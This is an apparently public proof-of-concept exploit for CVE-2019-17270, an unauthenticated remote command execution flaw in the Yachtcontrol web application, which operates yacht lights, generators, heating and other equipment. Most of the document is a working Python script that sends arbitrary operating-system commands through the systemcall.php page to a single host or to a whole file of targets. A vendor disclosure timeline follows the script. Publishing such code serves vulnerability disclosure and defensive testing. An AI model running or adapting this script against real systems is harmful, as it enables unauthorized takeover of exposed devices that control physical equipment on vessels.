Yachtcontrol 2019-10-06 Remote Code Execution

`# Exploit Title: Yachtcontrol Webapplication - Unauthenticated Remote Code Execution  
# Google Dork: N/A  
# Date: 2019-12-06  
# Exploit Author: Hodorsec  
# Vendor Homepage: http://www.yachtcontrol.nl/en/  
# Software Link: http://download.yachtcontrol.nl/klant/Software/ & http://download.yachtcontrol.nl/klant/Firmware/  
# Versions: Yachtcontrol webapplication through versions dated on 2019-10-06  
# Tested on: Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.  
# CVE: CVE-2019-17270  
#   
# Description Product:  
# Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,   
# it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components.   
# Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht.  
# Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices.  
#  
# Description Vulnerability:   
# It's possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}"   
# page and parameter, where {COMMAND} will be executed and returning the results to the client.   
#   
# Affected Components:  
# Yachtcontrol webservers using the custom PHP webapplication, versions until 2019-10-06.  
  
#!/usr/bin/python  
import sys,os,requests  
  
# Check arguments  
if len(sys.argv) != 5:  
print "Error: enter at least one IP/FQDN as argument. Exiting..."  
print "\nUsage: " + sys.argv[0] + " {IP/FQDN} {PORT} {PROTO} {COMMAND}\n"  
exit(0)  
  
# Parameters  
host = sys.argv[1]  
port = sys.argv[2]  
proto = sys.argv[3]  
command = sys.argv[4]  
timeout = 10  
isFile = False  
  
# Check for file or single IP/FQDN  
if os.path.isfile(host):  
isFile = True  
with open(host) as f:  
targets = f.readlines()  
  
# Vulnerable page  
page = "/pages/systemcall.php?command="  
  
# HTTP or HTTPS  
if proto == "http":  
proto = "http://"  
elif proto == "https":  
proto = "https://"  
else:  
print "\nInvalid method given: enter http or https\n"  
exit(0)  
  
# Do the request  
if isFile:  
for host in targets:  
target = host.strip()  
print target  
try:  
response = requests.get(proto + target + ":" + port + page + command, verify=False, timeout=timeout)  
print(response.content.replace('executing command: ' + command,''))  
except requests.exceptions.Timeout:  
print "Timed out."  
pass  
except requests.exceptions.RequestException as e:  
print "Host not found."  
pass  
else:  
try:  
response = requests.get(proto + host + ":" + port + page + command, verify=False, timeout=timeout)  
print(response.content.replace('executing command: ' + command,''))  
except requests.exceptions.Timeout:  
print "Timed out."  
pass  
except requests.exceptions.RequestException as e:  
print "Host not found."  
pass  
  
# Disclosure Timeline using CERT/CC disclosure policy:  
# - 06-10-19: Requested CVE  
# - 06-10-19: Contacted vendor for initial contact, used several publicly known mailaddresses  
# - 12-10-19: Sent reminder due to no response  
# - 06-11-19: Sent second reminder due to no response  
# - 08-11-19: Received response requesting information, sent information  
# - 11-11-19: Correspondence concerning vulnerability  
# - 25-11-19: Sent reminder of publishing PoC to vendor, received response  
# - 05-12-19: Sent final reminder of publishing PoC to vendor  
# - 06-12-19: Public Disclosure  
`